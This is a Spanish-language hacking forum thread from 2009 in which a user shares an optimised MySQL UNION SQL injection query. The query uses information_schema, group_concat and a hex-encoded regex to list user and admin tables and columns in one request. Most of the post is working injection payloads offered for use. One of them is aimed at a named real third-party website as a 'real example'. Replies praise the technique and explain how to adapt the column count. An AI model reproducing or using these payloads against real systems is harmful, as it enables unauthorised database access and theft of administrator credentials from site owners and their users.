elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Optimización de SQL Union Injection en MYSQL
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Optimización de SQL Union Injection en MYSQL  (Leído 5,388 veces)
OzX


Desconectado Desconectado

Mensajes: 406

[NuKe] Team


Ver Perfil WWW
Optimización de SQL Union Injection en MYSQL
« en: 31 Julio 2009, 06:16 am »

Optimización de SQL Union Injection en MYSQL

Sin lugar a dudas, este es el tipo de inyección que mas fácil se puede obtener información, en un par de consultas se  lograría obtener el nombre de usuario y contraseña del administrador del sistema o de algún usuario con privilegios.
Pero también consta de una etapa que es engorrosa, la obtención de tablas y sus correspondientes campos. Claramente en una base de datos Mysql Versión 5.x.
Gracias a la base de datos information_schema, podemos obtener las tablas y los campos de la base de datos.

La sintaxis Común de la obtención de las tablas es la siguiente

Código
  1. Select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1
  2.  

Con dicha consulta obtendríamos la primera tabla de la base de datos, luego aumentando el valor de limit podríamos obtener las demás tablas.

Luego de encontrar la tabla que nosotros creemos que contendría la información de los usuarios, procedemos a obtener los campos de dicha tabla.

Por ej. , Para obtener los campos de la tabla “usuarios”.

Debemos transformar el nombre usuarios a su valor hexsql.

Código:
Usuario: 0×7573756172696F73


Código
  1. Select+column_name+from+information_schema.columns+where+table_name=0x7573756172696F73+limit+0,1
  2.  




Y así tendríamos los datos necesarios para poder generar la consulta final, hacia la base de datos.
Pero luego de hacerlo varias veces en distintas paginas, esta metodología resulta bastante agobiante,al  tener que consultar cada tabla, cada campo por  separado, es por ello que desarrolle una query que muestra la información que a nosotros nos interesa en 1 sola petición.

Ejemplo Consulta Final:

Código:
Localhost/vulnz.php?id=1+and+1=0+union+select+all+1,2,group_concat(column_name,0x3A,table_name,0x3C62723E),4,5,6+from+information_schema.columns+where+table_name=(select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1)+limit+0,1--




Obtendríamos los valores de la siguiente manera.

Campo, Tabla.

Analicemos a Fondo la Consulta.

Consulta que Obtiene las Columnas en Base a una Tabla.

Código:
=1+and+1=0+union+select+all+1,2,group_concat(column_name,0x3A,table_name,0x3C62723E),4,5,6+from+information_schema.columns+where+table_name=(CONSULTA_RESTRICCION)+limit+0,1--


       
Consulta Restricción: Con Esta Consulta obtendremos la o las tablas que cumplan con la restricción impuesta por la expresión regular.

Código:
select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1

     

Expresión  Regular.

Código:
REGEXP+0×2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A


Código:
.*((us[ue]|log[io]n|adm)).*


Con esta Expresión podríamos obtener algunos de los nombres mas comunes de las tablas que contienen información relacionada con los usuarios como podría ser :

    * Usuario
    * Username
    * User
    * Administrador
    * Administrator
    * Login
    * Logon
    * etc

Ejemplo Real:

Fuente Vulnz

Código:
http://www.buenosaires2050.org/noticias.php?id=39+and+1=2+union+select+1,2,3,4,group_concat(column_name,0x3A,table_name,0x3C62723E),6+from+information_schema.columns+where+table_name=(select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1)+limit+0,1--



Saludos a Todo el Staff de Undersecurity.net

OzX [Undersecurity.net]

Fuente
En línea

Undersecurity.net
Dokuz

Desconectado Desconectado

Mensajes: 13



Ver Perfil WWW
Re: Optimización de SQL Union Injection en MYSQL
« Respuesta #1 en: 31 Julio 2009, 06:41 am »

Muy buena la idea que tuviste yo pensaba de como acortar las inyecciones sql ya que como tu dises son muy trabajosas y agobiante hacer esto en varias webs.
No savia que se podia hacer esto
Código:
.*((us[ue]|log[io]n|adm)).*


Lo que cambia en la inyeccion SQL que hiciste seria el numero de de tablas
Código:
1+and+1=0+union+select+all+1,2,group_concat(column_name,0x3A,table_name,0x3C62723E),4,5,6+
digamos ahi llegaste hasta 6, si en la web que estoy llegue a 23 y emprime en la tabla 8 quedaria asi:

Código:
1+and+1=0+union+select+all+1,2,3,4,5,6,7,group_concat(column_name,0x3A,table_name,0x3C62723E),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+

y listo quedaria ya para ser ejecutada ¿cierto?


Saludos  ;D
En línea

Ultimos Avances | Noticias de Tecnología, Informatica e Inventos  UltimosAvances.com
OzX


Desconectado Desconectado

Mensajes: 406

[NuKe] Team


Ver Perfil WWW
Re: Optimización de SQL Union Injection en MYSQL
« Respuesta #2 en: 31 Julio 2009, 07:19 am »

claro.. en teoria..
porque talves la pagina no tenga permisos para leer el schema o sea version 4.x
esta tecnica se ve mejor aplicada con este post
http://foro.elhacker.net/nivel_web/busqueda_binaria_aplicada_a_las_blind_sql_injection-t260676.0.html

saludos¡
En línea

Undersecurity.net
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Optimización de SQL Union Injection en MYSQL
« Respuesta #3 en: 1 Agosto 2009, 02:26 am »

Está super bueno  :D
lo puse en el recopilatorio de post
En línea

MagnoBalt

Desconectado Desconectado

Mensajes: 58


Los Buenos Artitas Copian, los Grandes Roban


Ver Perfil
Re: Optimización de SQL Union Injection en MYSQL
« Respuesta #4 en: 1 Agosto 2009, 06:25 am »

Muy Bueno Gracias por compartir OzX Genial!!..
En línea

berz3k
Colaborador
***
Desconectado Desconectado

Mensajes: 1.212



Ver Perfil
Re: Optimización de SQL Union Injection en MYSQL
« Respuesta #5 en: 3 Septiembre 2009, 16:47 pm »

Me gusto el aporte OzX, lo he agregado a mis notes.

-berz3k.
En línea

OzX


Desconectado Desconectado

Mensajes: 406

[NuKe] Team


Ver Perfil WWW
Re: Optimización de SQL Union Injection en MYSQL
« Respuesta #6 en: 16 Septiembre 2009, 01:16 am »

Me gusto el aporte OzX, lo he agregado a mis notes.

-berz3k.


Gracias Compañero, Cualquier comentario es muy bien recibido ¡
En línea

Undersecurity.net
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ayuda con una union (sql injection)
Nivel Web
4rkn63l 0 3,080 Último mensaje 12 Febrero 2011, 02:21 am
por 4rkn63l
Optimizacion de MySQL y ejemplos bases de datos pelis/social
Bases de Datos
Gogeto 3 5,312 Último mensaje 24 Junio 2011, 03:29 am
por Gogeto
Union Based Sql Injection
Nivel Web
Stuxnet 5 5,461 Último mensaje 9 Febrero 2015, 13:08 pm
por Shell Root
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines